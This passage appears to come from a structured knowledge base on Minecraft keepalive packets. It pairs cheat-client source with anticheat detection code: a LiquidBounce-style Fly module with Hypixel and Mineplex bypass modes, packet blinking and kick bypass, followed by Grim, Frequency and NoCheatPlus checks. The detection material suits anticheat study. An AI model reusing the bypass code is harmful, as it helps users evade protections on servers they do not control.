mode.equalsIgnoreCase(\"Vanilla\") || mode.equalsIgnoreCase(\"SmoothVanilla\"))\n            return;\n\n        double y = startY + 2D;\n\n        RenderUtils.drawPlatform(y, mc.thePlayer.getEntityBoundingBox().maxY < y ? new Color(0, 255, 0, 90) : new Color(255, 0, 0, 90), 1);\n\n        switch (mode.toLowerCase()) {\n            case \"aac1.9.10\":\n                RenderUtils.drawPlatform(startY + aacJump, new Color(0, 0, 255, 90), 1);\n                break;\n            case \"aac3.3.12\":\n                RenderUtils.drawPlatform(-70, new Color(0, 0, 255, 90), 1);\n                break;\n        }\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        if(noPacketModify)\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n        if(packet instanceof C03PacketPlayer) {\n            final C03PacketPlayer packetPlayer = (C03PacketPlayer) packet;\n\n            final String mode = modeValue.get();\n\n            if (mode.equalsIgnoreCase(\"NCP\") || mode.equalsIgnoreCase(\"Rewinside\") ||\n                    (mode.equalsIgnoreCase(\"Mineplex\") && mc.thePlayer.inventory.getCurrentItem() == null))\n                packetPlayer.onGround = true;\n\n            if (mode.equalsIgnoreCase(\"Hypixel\") || mode.equalsIgnoreCase(\"BoostHypixel\") || mode.equalsIgnoreCase(\"Zoom\"))\n                packetPlayer.onGround = true;\n        }\n\n        if(modeValue.get().equalsIgnoreCase(\"Zoom\"))\n        {\n            if(packet instanceof C03PacketPlayer) {\n                event.cancelEvent();\n                packetList.add(packet);\n            }\n            if(blinkAttack.get() && packet instanceof C02PacketUseEntity && packetList.size() >= blinkAttackPacket.get()) {\n                noPacketModify = true;\n                PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n                playerCapabilities.allowFlying = true;\n                playerCapabilities.isFlying = true;\n                mc.thePlayer.sendQueue.addToSendQueue(new C13PacketPlayerAbilities(playerCapabilities));\n                for (Packet p:packetList) {\n                    mc.getNetHandler().addToSendQueue(p);\n                }\n                packetList.clear();\n                noPacketModify = false;\n            }\n        }\n\n        if(packet instanceof S08PacketPlayerPosLook) {\n            final String mode = modeValue.get();\n\n            if(mode.equalsIgnoreCase(\"BoostHypixel\")) {\n                failedStart = true;\n                ClientUtils.displayChatMessage(\"§8[§c§lBoostHypixel-§a§lFly§8] §cSetback detected.\");\n            }\n\n            if(mode.equalsIgnoreCase(\"Zoom\")) {\n                failedStart = true;\n                ClientUtils.displayChatMessage(\"§8[§c§lZoom-§a§lFly§8] §cSetback detected.\");\n            }\n        }\n    }\n\n    @EventTarget\n    public void onMove(final MoveEvent event) {\n        switch(modeValue.get().toLowerCase()) {\n            case \"cubecraft\": {\n                final double yaw = Math.toRadians(mc.thePlayer.rotationYaw);\n\n                if (cubecraftTeleportTickTimer.hasTimePassed(2)) {\n                    event.setX(-Math.sin(yaw) * 2.4D);\n                    event.setZ(Math.cos(yaw) * 2.4D);\n\n                    cubecraftTeleportTickTimer.reset();\n                } else {\n                    event.setX(-Math.sin(yaw) * 0.2D);\n                    event.setZ(Math.cos(yaw) * 0.2D);\n                }\n                break;\n            }\n            case \"boosthypixel\":\n                if (!MovementUtils.isMoving()) {\n                    event.setX(0D);\n                    event.setZ(0D);\n                    break;\n                }\n\n                if (failedStart)\n                    break;\n\n                final double amplifier = 1 + (mc.thePlayer.isPotionActive(Potion.moveSpeed) ? 0.2 *\n                        (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier() + 1) : 0);\n                final double baseSpeed = 0.29D * amplifier;\n\n                switch (boostHypixelState) {\n                    case 1:\n                        moveSpeed = (mc.thePlayer.isPotionActive(Potion.moveSpeed) ? 1.56 : 2.034) * baseSpeed;\n                        boostHypixelState = 2;\n                        break;\n                    case 2:\n                        moveSpeed *= 2.16D;\n                        boostHypixelState = 3;\n                        break;\n                    case 3:\n                        moveSpeed = lastDistance - (mc.thePlayer.ticksExisted % 2 == 0 ? 0.0103D : 0.0123D) * (lastDistance - baseSpeed);\n\n                        boostHypixelState = 4;\n                        break;\n                    default:\n                        moveSpeed = lastDistance - lastDistance / 159.8D;\n                        break;\n                }\n\n                moveSpeed = Math.max(moveSpeed, 0.3D);\n\n                final double yaw = MovementUtils.getDirection();\n                event.setX(-Math.sin(yaw) * moveSpeed);\n                event.setZ(Math.cos(yaw) * moveSpeed);\n                mc.thePlayer.motionX = event.getX();\n                mc.thePlayer.motionZ = event.getZ();\n                break;\n            case \"zoom\":\n                if (!MovementUtils.isMoving()) {\n                    event.setX(0D);\n                    event.setZ(0D);\n                    break;\n                }\n\n                if (failedStart)\n                    break;\n\n                final double amplif = 1 + (mc.thePlayer.isPotionActive(Potion.moveSpeed) ? 0.2 *\n                        (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier() + 1) : 0);\n                final double base = 0.29D * amplif;\n\n                switch (boostHypixelState) {\n                    case 1:\n                        moveSpeed = (mc.thePlayer.isPotionActive(Potion.moveSpeed) ? 1.56 : 2.034) * base;\n                        boostHypixelState = 2;\n                        break;\n                    case 2:\n                        moveSpeed *= 2.16D;\n                        boostHypixelState = 3;\n                        break;\n                    case 3:\n                        moveSpeed = lastDistance - (mc.thePlayer.ticksExisted % 2 == 0 ? 0.0103D : 0.0123D) * (lastDistance - base);\n\n                        boostHypixelState = 4;\n                        break;\n                    default:\n                        moveSpeed = lastDistance - lastDistance / 159.8D;\n                        break;\n                }\n\n                moveSpeed = Math.max(moveSpeed, 0.3D);\n\n                final double ya = MovementUtils.getDirection();\n                event.setX(-Math.sin(ya) * moveSpeed);\n                event.setZ(Math.cos(ya) * moveSpeed);\n                mc.thePlayer.motionX = event.getX();\n                mc.thePlayer.motionZ = event.getZ();\n                break;\n            case \"freehypixel\":\n                if (!freeHypixelTimer.hasTimePassed(10))\n                    event.zero();\n                break;\n        }\n    }\n\n    @EventTarget\n    public void onBB(final BlockBBEvent event) {\n        if (mc.thePlayer == null) return;\n\n        final String mode = modeValue.get();\n\n        if (event.getBlock() instanceof BlockAir && (mode.equalsIgnoreCase(\"Hypixel\") ||\n                mode.equalsIgnoreCase(\"BoostHypixel\") || mode.equalsIgnoreCase(\"Zoom\") ||mode.equalsIgnoreCase(\"Rewinside\") ||\n                (mode.equalsIgnoreCase(\"Mineplex\") && mc.thePlayer.inventory.getCurrentItem() == null)) && event.getY() < mc.thePlayer.posY)\n            event.setBoundingBox(AxisAlignedBB.fromBounds(event.getX(), event.getY(), event.getZ(), event.getX() + 1, mc.thePlayer.posY, event.getZ() + 1));\n    }\n\n    @EventTarget\n    public void onJump(final JumpEvent e) {\n        final String mode = modeValue.get();\n\n        if (mode.equalsIgnoreCase(\"Hypixel\") || mode.equalsIgnoreCase(\"BoostHypixel\") ||\n                mode.equalsIgnoreCase(\"Zoom\") ||mode.equalsIgnoreCase(\"Rewinside\") || (mode.equalsIgnoreCase(\"Mineplex\") && mc.thePlayer.inventory.getCurrentItem() == null))\n            e.cancelEvent();\n    }\n\n    @EventTarget\n    public void onStep(final StepEvent e) {\n        final String mode = modeValue.get();\n\n        if (mode.equalsIgnoreCase(\"Hypixel\") || mode.equalsIgnoreCase(\"BoostHypixel\") ||\n                mode.equalsIgnoreCase(\"Zoom\") ||mode.equalsIgnoreCase(\"Rewinside\") || (mode.equalsIgnoreCase(\"Mineplex\") && mc.thePlayer.inventory.getCurrentItem() == null))\n            e.setStepHeight(0F);\n    }\n\n    private void handleVanillaKickBypass() {\n        if(!vanillaKickBypassValue.get() || !groundTimer.hasTimePassed(1000)) return;\n\n        final double ground = calculateGround();\n\n        for(double posY = mc.thePlayer.posY; posY > ground; posY -= 8D) {\n            mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, posY, mc.thePlayer.posZ, true));\n\n            if(posY - 8D < ground) break; // Prevent next step\n        }\n\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, ground, mc.thePlayer.posZ, true));\n\n\n        for(double posY = ground; posY < mc.thePlayer.posY; posY += 8D) {\n            mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, posY, mc.thePlayer.posZ, true));\n\n            if(posY + 8D > mc.thePlayer.posY) break; // Prevent next step\n        }\n\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n\n        groundTimer.reset();\n    }\n\n    // TODO: Make better and faster calculation lol\n    private double calculateGround() {\n        final AxisAlignedBB playerBoundingBox = mc.thePlayer.getEntityBoundingBox();\n        double blockHeight = 1D;\n\n        for(double ground = mc.thePlayer.posY; ground > 0D; ground -= blockHeight) {\n            final AxisAlignedBB customBox = new AxisAlignedBB(playerBoundingBox.maxX, ground + blockHeight, playerBoundingBox.maxZ, playerBoundingBox.minX, ground, playerBoundingBox.minZ);\n\n            if(mc.theWorld.checkBlockCollision(customBox)) {\n                if(blockHeight <= 0.05D)\n                    return ground + blockHeight;\n\n                ground += blockHeight;\n                blockHeight = 0.05D;\n            }\n        }\n\n        return 0F;\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n// NOTE (AI): Only the keepalive case (line ~423) touches C00; the rest of the file is the standard LiquidBounce Fly mode switch.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/movement/Fly.java",
      "vanilla_hook": "UpdateEvent / PacketEvent on LiquidBounce's event bus; send via mc.getNetHandler().addToSendQueue.",
      "anti_cheat_notes": "Keepalive spam with key 0 is a known NCP-era anti-flag: the server sees a steady keepalive stream while movement is handled purely client-side, so timer and fly checks that depend on keepalive timing never see a gap.",
      "variations": "No other client in the corpus sends C00 from a Fly module; the other Fly-family hits cancel it."
     },
     {
      "name": "LuaEventPacket",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose the packet to November's Lua scripting API as an id plus direction pair, so scripts can filter on C00 without touching obfuscated class names.",
      "how_it_works": "The static initializer maps C00PacketKeepAlive.class to 0x00 in a packetIds table (the table exists because obfuscation makes reflection unusable); the wrapper constructor reads the id via getOrDefault and sets direction to 'out' or 'in' from the EventPacket type.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n// NOTE (AI): The id map covers every serverbound play packet; C00 is registered as 0x00, matching the wire id.",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket.Out / EventPacket.In routed through the scripting bridge; scripts read packet and direction.",
      "anti_cheat_notes": "None; this is a read-only mapping, the script payload is the risk surface.",
      "variations": ""
     }
    ],
    "general_hooks": "PacketSendEvent (serverbound C00) and PacketReceiveEvent (clientbound S00) on every client; Rise 6.x uses its component system (PingSpoofComponent, KeepAliveDisabler). LiquidSense Dev and November Recode 2.0 hook the same PacketEvent/EventPacket surfaces; November additionally exposes C00 to Lua scripts via LuaEventPacket.",
    "client_variations": "Classic clients (Memeware, Nekoware, Sigma, Spicy) mutate or cancel the packet object inside the event. Rise 5.99 and 6.x replace the packet on the event (event.setPacket) or flush via PacketUtil.sendPacket, which bypasses the event bus entirely. LiquidSense Dev sends via mc.getNetHandler().addToSendQueue and cancels via PacketEvent.cancelEvent; November Recode 2.0 wraps the packet in LuaEventPacket for scripting and uses its own EventPacket.Out bus.",
    "related": [
     "S00PacketKeepAlive",
     "C0FPacketConfirmTransaction",
     "S08PacketPlayerPosLook"
    ],
    "anticheat": {
     "overview": "The keepalive echo is the anticheat's latency reference. Serious anticheats issue their own keepalives (Frequency TickManager, FlopAC KeepAliveHandler) or track the vanilla ones, and fold the C00 round-trip into a ping value that movement checks read. Ping spoofers delay or duplicate the echo, so ping-spoof checks compare keepalive RTT against transaction RTT (Frequency PingSpoofA) or validate the echoed ID against the list of server-issued IDs (Grim BadPacketsO, Hydro BadPacketsE/F). Because a frozen or inflated ping breaks timer discrimination, timer checks gate their acceptance on keepalive confirmation (Frequency TimerA) and NCP rate-limits keepalive replies outright.",
     "checks": [
      {
       "name": "PingSpoofA (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus",
        "splatboydev-Degrade",
        "AimbotPvP-azure-anticheat",
        "Incognitolol-Hydro",
        "JTXOfficial-FlopAC",
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Cross-checks the keepalive round-trip against the transaction round-trip to catch ping spoofers that delay keepalive echoes.",
       "how_it_works": "On every flying packet, compares the ping computed from keepalive echoes (playerData.getKeepAlivePing()) with the ping computed from transaction echoes. If the transaction ping exceeds the keepalive ping by more than 50 ms, outside the first 10 ticks and the lag/teleport/TPS exemptions, the check fails. The premise: a ping spoof buffers C00PacketKeepAlive and flushes it late, so the keepalive ping stays artificially low while transaction traffic reveals the real latency.",
       "detects": "Ping spoofers that delay the keepalive echo, and clients that fake a low tab-list ping.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/pingspoof/PingSpoofA.java =====\npackage xyz.elevated.frequency.check.impl.pingspoof;\n\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PacketCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.exempt.type.ExemptType;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInFlying;\n\n@CheckData(name = \"PingSpoof (A)\")\npublic final class PingSpoofA extends PacketCheck {\n\n    public PingSpoofA(final PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void process(final Object object) {\n        if (object instanceof WrappedPlayInFlying) {\n            final long transactionPing = playerData.getTransactionPing().get();\n            final long keepAlivePing = playerData.getKeepAlivePing().get();\n\n            final boolean joined = playerData.getTicks().get() - playerData.getJoined().get() < 10;\n            final boolean exempt = this.isExempt(ExemptType.LAGGING, ExemptType.TELEPORTING, ExemptType.TPS, ExemptType.CHUNK);\n\n            if (!exempt && !joined && transactionPing > keepAlivePing && Math.abs(transactionPing - keepAlivePing) > 50) fail();\n        }\n    }\n}\n// NOTE (AI): The check runs on the flying stream, not on the keepalive packet itself; the keepalive echo only feeds the ping value being compared. The 50 ms gap threshold works because transaction echoes are processed on the same tick as the movement packet while keepalive echoes are batched, so a delay applied to C00 shows up as a transaction-minus-keepalive gap.",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/pingspoof/PingSpoofA.java",
       "variations": "Azure PingSpoof measures the delay between the client's last move packet and its keepalive reply and flags anything above roughly 150 ms. Hydro PingSpoofA, FlopAC PingSpoofA-D and Artemis PingSpoofProtocol, PingSpoofDuplicate and PingSpoofIdDupe implement the same cross-signal idea on their own trackers. FrequencyPlus and Degrade carry near-identical copies of the Frequency check."
      },
      {
       "name": "BadPacketsO keepalive ID validation (Grim)",
       "found_in": [
        "GrimAnticheat-Grim",
        "Incognitolol-Hydro",
        "AimbotPvP-azure-anticheat",
        "ElevatedDev-Frequency",
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Rejects keepalive replies whose ID was never issued by the server, catching fabricated echoes, key-mutating disablers and duplicate replays.",
       "how_it_works": "Records every server-issued keepalive ID in a linked list on the send side, then on each C00 reply scans the list for the echoed ID and drains entries up to the match. A reply that matches no pending ID is flagged and cancelled. Listening to both directions lets the check tell a legitimately delayed echo from a fabricated one: a real echo always corresponds to an outstanding server ID.",
       "detects": "Ping spoofers that fabricate keepalive IDs, disabler modes that corrupt the key so the server silently drops it, and duplicate-echo replay.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsO.java =====\npackage ac.grim.grimac.checks.impl.badpackets;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientKeepAlive;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerKeepAlive;\n\nimport java.util.LinkedList;\n\n@CheckData(name = \"BadPacketsO\", stableKey = \"grim.badpackets.invalid_keepalive\", description = \"Responded with a keepalive ID that was not sent by the server\")\npublic class BadPacketsO extends Check implements PacketReceiveListener, PacketSendListener {\n    private static final Verbose V = Verbose.of(\"id={slong}\");\n\n    private final LinkedList<Long> keepalives = new LinkedList<>();\n\n    public BadPacketsO(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.KEEP_ALIVE) {\n            keepalives.add(new WrapperPlayServerKeepAlive(event).getId());\n        }\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.KEEP_ALIVE) {\n            final long id = new WrapperPlayClientKeepAlive(event).getId();\n\n            for (long keepalive : keepalives) {\n                if (keepalive == id) {\n                    // Found the ID, remove stuff until we get to it (to stop very slow memory leaks)\n                    Long data;\n                    do {\n                        data = keepalives.poll();\n                    } while (data != null && data != id);\n\n                    return;\n                }\n            }\n\n            if (flag(V.write(verbose()).slong(id)) && shouldModifyPackets()) {\n                event.setCancelled(true);\n                player.onPacketCancel();\n            }\n        }\n    }\n}\n// NOTE (AI): The list is drained on match precisely to bound memory, and the flag is combined with event cancellation so a bad reply never reaches the vanilla keepalive handler. This is the strictest keepalive check in the corpus because it requires the echo to be a real reply to a real server-issued ID.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsO.java",
       "variations": "Hydro BadPacketsE flags keepalive IDs that were never sent and BadPacketsF flags a duplicate of the current ID; Azure BadPacketsG flags a keepalive arriving more than 550 ms after the last move packet; Frequency BadPacketsP and Artemis PingSpoofIdDupe and PingSpoofDuplicate do the same ID bookkeeping on their own packet wrappers."
      },
      {
       "name": "KeepAliveFrequency (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Limits the rate of keepalive replies and maintains the lastKeepAliveTime reference that the net and godmode checks use to separate real latency from timer abuse.",
       "how_it_works": "The ProtocolLib KeepAliveAdapter records every incoming C00 reply with its ID shape and updates data.lastKeepAliveTime; the check itself buckets reply timestamps into a frequency bucket model and cancels when the first bucket exceeds 1, with modeled-boundary exceptions so two replies timestamped in the same millisecond do not flag. A startup delay after join and duplicate-ID handling suppress the false positives that join-time bursts would cause.",
       "detects": "Keepalive floods, duplicate or spoofed keepalive spam, and disabler modes that fire extra echoes to reset server-side timing heuristics.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/net/KeepAliveFrequency.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.net;\n\nimport org.bukkit.entity.Player;\n\nimport fr.neatmonster.nocheatplus.checks.Check;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.utilities.CheckUtils;\n\npublic class KeepAliveFrequency extends Check {\n\n    public KeepAliveFrequency() {\n        super(CheckType.NET_KEEPALIVEFREQUENCY);\n    }\n    \n    /**\n     * Checks hasBypass on violation only.\n     * @param player\n     * @param time\n     * @param data\n     * @param cc\n     * @return If to cancel.\n     */\n    public boolean check(final Player player, final long time, final NetData data, final NetConfig cc, final IPlayerData pData) {\n        final long now = System.currentTimeMillis();\n        final long joinTime = pData.getLastJoinTime();\n        if (joinTime > 0L && now < joinTime + cc.keepAliveFrequencyStartupDelay) {\n            return false;\n        }\n        if (data.keepAliveExpectedResponse && !data.keepAliveDuplicateId) {\n            return false;\n        }\n        data.keepAliveFreq.add(time, 1f);\n        final float first = data.keepAliveFreq.bucketScore(0);\n        \n        if (first > 1f) {\n            // Trigger a violation.\n            final float fullScore = data.keepAliveFreq.score(1f);\n            if (isModeledBoundaryBurst(data, fullScore, first)) {\n                return false;\n            }\n            final double vl = Math.max(first - getFirstBucketViolationLimit(data), fullScore - data.keepAliveFreq.numberOfBuckets());\n            final boolean cancel = executeActions(player, vl, 1.0, cc.keepAliveFrequencyActions).willCancel();\n            return cancel;\n        }\n        return false;\n    }\n\n    private boolean isModeledBoundaryBurst(final NetData data, final float fullScore, final float first) {\n        // KeepAlive model: if outgoing tracking is unavailable, only treat small monotonic id bursts as timing leftovers.\n        if (data.keepAliveDuplicateId || fullScore > data.keepAliveFreq.numberOfBuckets() + 2f) {\n            return false;\n        }\n        // Folia/netty can timestamp two adjacent valid replies in the same millisecond; do not cancel a single pair.\n        return first <= 2f || isUntrackedMonotonicBurst(data, fullScore, first);\n    }\n\n    private boolean isUntrackedMonotonicBurst(final NetData data, final float fullScore, final float first) {\n        if (data.keepAliveOutgoingSeen || fullScore > data.keepAliveFreq.numberOfBuckets()) {\n            return false;\n        }\n        if (!data.keepAlivePacketIdAvailable || !data.keepAlivePreviousPacketIdAvailable) {\n            return false;\n        }\n        if (data.keepAlivePacketId <= data.keepAlivePreviousPacketId) {\n            return false;\n        }\n        return first <= getFallbackFirstBucketLimit(data);\n    }\n\n    private float getFirstBucketViolationLimit(final NetData data) {\n        if (data.keepAliveDuplicateId) {\n            return 1f;\n        }\n        if (!data.keepAliveOutgoingSeen\n                && data.keepAlivePacketIdAvailable\n                && data.keepAlivePreviousPacketIdAvailable\n                && data.keepAlivePacketId > data.keepAlivePreviousPacketId) {\n            return getFallbackFirstBucketLimit(data);\n        }\n        return 2f;\n    }\n\n    private float getFallbackFirstBucketLimit(final NetData data) {\n        return Math.max(3f, Math.min(6f, data.keepAliveFreq.numberOfBuckets() / 4f));\n    }\n}\n// NOTE (AI): The check is deliberately lenient about bursts when the outgoing tracking model is unavailable, falling back to monotonic-ID heuristics instead of canceling on raw count. lastKeepAliveTime is the shared output: MovingFlying and the other adapters update it so fight.godmode can guess keepalive timing even when this check is disabled.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/net/KeepAliveFrequency.java",
       "variations": "Fight GodMode reads lastKeepAliveTime with CheckUtils.guessKeepAliveTime as fallback; Artemis ConnectionPreProcessor and AntiHaxerman ConnectionTracker maintain equivalent per-player keepalive ping state that their timer and lag checks consume."
      },
      {
       "name": "TimerA (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus",
        "splatboydev-Degrade",
        "GrimAnticheat-Grim",
        "JTXOfficial-FlopAC",
        "artemisac-artemis-minecraft-anticheat",
        "AimbotPvP-azure-anticheat",
        "TawnyE-TruthfulAC",
        "Tecnio-AntiHaxerman"
       ],
       "purpose": "Detects timer speed by measuring movement packet cadence against the 50 ms tick, gated on keepalive confirmation that the server tick actually ran.",
       "how_it_works": "On each flying packet, computes the delay since the previous one, feeds it into a 20-sample MovingStats deviation model, and accumulates an allowance of +50 ms per expected tick minus the observed delay. The check only runs when the current server tick has a matching keepalive echo in ConnectionManager, so lagged or desynced connections are excluded. A persistent deviation under the 7.07 threshold with a positive allowance balance flags.",
       "detects": "Timer cheats that raise the client game speed, and indirectly ping spoofing, because a spoofed low ping keeps the keepalive acceptance gate open.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/timer/TimerA.java =====\npackage xyz.elevated.frequency.check.impl.timer;\n\nimport xyz.elevated.frequency.Frequency;\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PacketCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.exempt.type.ExemptType;\nimport xyz.elevated.frequency.util.MovingStats;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInFlying;\n\n@CheckData(name = \"Timer (A)\")\npublic final class TimerA extends PacketCheck {\n    private final MovingStats movingStats = new MovingStats(20);\n\n    private long lastFlying = 0L;\n    private long allowance = 0;\n\n    public TimerA(final PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void process(final Object object) {\n        final boolean flying = object instanceof WrappedPlayInFlying;\n\n        if (flying) {\n            // Get the server ticks and the current time for the check processing\n            final int serverTicks = Frequency.INSTANCE.getTickManager().getTicks();\n            final long now = System.currentTimeMillis();\n\n            /*\n            * We want to make sure the player is not exempt from any of the actions below.\n            * Additionally, we want to ensure that the player is not lagged out and accepted a keepalive.\n            * Thankfully, we shouldn't have any bypasses because of this because of PingSpoof.\n             */\n            final boolean exempt = this.isExempt(ExemptType.TPS, ExemptType.TELEPORTING, ExemptType.LAGGING);\n            final boolean accepted = playerData.getConnectionManager().getKeepAliveTime(serverTicks).isPresent();\n\n            /*\n            * Basic theory is that the player is going to deviate through 50ms without many changes to that\n            * basic range of [48, 50]. So we're running a deviation check to check how much the player has deviated\n            * from the basic limit of 50ms (square-root of 50 is 7.07). We're also making sure the player is actually\n            * increasing speed through an allowance that accounts for the tick expected versus the tick received.\n             */\n            handle: {\n                if (exempt || !accepted) break handle;\n\n                // Get the delay from the current and the last flying packet\n                final long delay = now - lastFlying;\n\n                // Add the delay to the MovingStats to analyze our input\n                movingStats.add(delay);\n\n                /*\n                * As mentioned above, the basic threshold of the player is the square-root of 50. Because\n                * the expected tick should always be 50ms. To check how much the player has deviated from that\n                * single point, we're using it as a threshold value in the deviation check below.\n                 */\n                final double threshold = 7.07;\n                final double deviation = movingStats.getStdDev(threshold);\n\n                // We're making sure the deviation check processed and the deviation is smaller than the threshold.\n                if (deviation < threshold && !Double.isNaN(deviation)) {\n                    /*\n                    * I am sure many of you have seen this before, and it's essentially the most basic version of\n                    * a balance / allowance check. We're increasing the allowance with the expected amount of 50,\n                    * and we're subtracting from it the actual delay received. This will act as our \"buffer\" system.\n                     */\n                    allowance += 50;\n                    allowance -= delay;\n\n                    // Our previous threshold can act as one here too.\n                    if (allowance > Math.floor(threshold)) fail();\n                }\n\n                else {\n                    allowance = 0;\n                }\n            }\n\n            this.lastFlying = now;\n        }\n    }\n}\n// NOTE (AI): The keepalive tie-in is the acceptance gate: getKeepAliveTime(serverTicks) only returns a value when the player's C00 echo for that tick's keepalive arrived, proving the client actually processed the tick before the flying packet. Without that gate, high latency would look exactly like timer abuse.",
